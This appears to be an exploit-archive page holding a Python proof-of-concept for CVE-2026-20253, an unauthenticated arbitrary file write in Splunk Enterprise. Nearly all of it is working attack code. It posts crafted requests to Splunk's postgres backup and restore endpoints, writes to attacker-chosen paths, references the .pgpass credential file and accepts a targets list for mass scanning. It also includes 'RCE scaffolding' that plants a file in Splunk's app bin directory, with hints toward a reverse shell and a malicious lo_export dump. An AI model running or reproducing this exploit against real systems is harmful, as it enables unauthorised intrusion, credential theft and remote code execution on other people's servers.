5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2026-20253.py PY
#!/usr/bin/env python3
import argparse
import requests
import json
import sys
from urllib.parse import urljoin
from colorama import init, Fore, Style

init(autoreset=True)

def print_banner():
    print(Fore.CYAN + """
    ╔══════════════════════════════════════════════════════════════╗
    ║      CVE-2026-20253 Splunk Enterprise FULL PoC (Enhanced)    ║
    ║  Unauth Arbitrary File Write + RCE (watchTowr style)         ║
    ╚══════════════════════════════════════════════════════════════╝
    """)

def send_request(target, endpoint, payload, timeout=15, verify=False):
    target = target.rstrip('/')
    url = urljoin(target + "/", endpoint)
    headers = {
        "Content-Type": "application/json",
        "Authorization": "Basic Og=="
    }
    try:
        resp = requests.post(url, json=payload, headers=headers, timeout=timeout, verify=verify)
        return resp
    except Exception as e:
        print(Fore.RED + f"[-] Request error: {e}")
        return None

def check_vuln(target, region="/en-US", verify=False):
    endpoint = f"{region}/splunkd/__raw/v1/postgres/recovery/backup"
    payload = {"database": "search_metadata", "backupFile": "/tmp/cve_test"}
    print(Fore.YELLOW + f"[*] Checking {target}")
    resp = send_request(target, endpoint, payload, verify=verify)
    if resp and resp.status_code in (200, 400):
        print(Fore.GREEN + f"[+] VULNERABLE! {target}")
        return True
    print(Fore.RED + f"[-] Not vulnerable")
    return False

def file_write(target, region="/en-US", remote_path="/tmp/pwned.txt", content=None, verify=False):
    endpoint = f"{region}/splunkd/__raw/v1/postgres/recovery/backup"
    payload = {
        "database": "search_metadata",
        "backupFile": remote_path
    }
    print(Fore.YELLOW + f"[*] Writing to: {remote_path}")
    resp = send_request(target, endpoint, payload, verify=verify)
    
    if resp and resp.status_code in (200, 400):
        print(Fore.GREEN + f"[+] File created/truncated: {remote_path}")
        if content:
            print(Fore.CYAN + f"[i] Content write attempted via backup (limited). Use restore + lo_export for full control.")
    else:
        print(Fore.RED + "[-] Write failed")

def restore_write(target, region="/en-US", remote_path="/tmp/pwned.txt", content_file=None, verify=False):
    """Attempt full content write via restore scaffolding"""
    if not content_file:
        return
    
    try:
        with open(content_file, 'r') as f:
            content = f.read()
    except Exception as e:
        print(Fore.RED + f"[-] Could not read {content_file}: {e}")
        return

    print(Fore.YELLOW + f"[*] Attempting controlled write of {content_file} → {remote_path}")
    # Restore endpoint + basic malicious dump simulation
    endpoint = f"{region}/splunkd/__raw/v1/postgres/recovery/restore"
    payload = {
        "database": "search_metadata",
        "backupFile": remote_path,   # Can be used creatively with lo_export in real dump
        "passfile": "/opt/splunk/var/packages/data/postgres/.pgpass"
    }
    resp = send_request(target, endpoint, payload, verify=verify)
    if resp:
        print(Fore.GREEN + f"[+] Restore triggered. Status: {resp.status_code}")
        print(Fore.WHITE + "   → For real controlled content, host a malicious PostgreSQL dump using lo_export.")
    else:
        print(Fore.RED + "[-] Restore failed")

def rce_poc(target, region="/en-US", verify=False):
    print(Fore.MAGENTA + "[!] RCE Scaffolding")
    malicious_path = "/opt/splunk/etc/apps/search/bin/malicious_input.py"
    file_write(target, region, malicious_path, verify=verify)
    print(Fore.WHITE + "   Next: Overwrite with Python reverse shell + trigger reload")

def main():
    print_banner()
    parser = argparse.ArgumentParser(description="CVE-2026-20253 Enhanced PoC")
    parser.add_argument("-t", "--target", help="Single target URL")
    parser.add_argument("--targets", help="Targets file")
    parser.add_argument("-r", "--region", default="en-US", help="Splunk region (default: en-US)")
    parser.add_argument("--check", action="store_true", help="Check vulnerability only")
    parser.add_argument("--write", help="Remote file path to write (supports path traversal)")
    parser.add_argument("--content", help="Local file containing payload/content (poc-content.txt)")
    parser.add_argument("--restore", action="store_true", help="Use restore endpoint for advanced write")
    parser.add_argument("--rce", action="store_true", help="RCE scaffolding")
    parser.add_argument("--no-verify", action="store_true", help="Disable SSL verification")

    args = parser.parse_args()

    if not args.target and not args.targets:
        parser.print_help()
        sys.exit(1)

    targets = [args.target] if args.target else []
    if args.targets:
        with open(args.targets) as f:
            targets.extend([line.strip() for line in f if line.strip()])

    verify = not args.no_verify

    for tgt in targets:
        print(Fore.WHITE + f"\n{'='*70}\nTarget: {tgt}\n{'='*70}")
        
        if args.check or not (args.write or args.rce):
            check_vuln(tgt, f"/{args.region}", verify)

        if args.write:
            if args.content:
                if args.restore:
                    restore_write(tgt, f"/{args.region}", args.write, args.content, verify)
                else:
                    file_write(tgt, f"/{args.region}", args.write, content=True, verify=verify)
                    print(Fore.YELLOW + f"[i] Content from {args.content} loaded (full write best with --restore)")
            else:
                file_write(tgt, f"/{args.region}", args.write, verify=verify)

        if args.rce:
            rce_poc(tgt, f"/{args.region}", verify)

if __name__ == "__main__":
    main()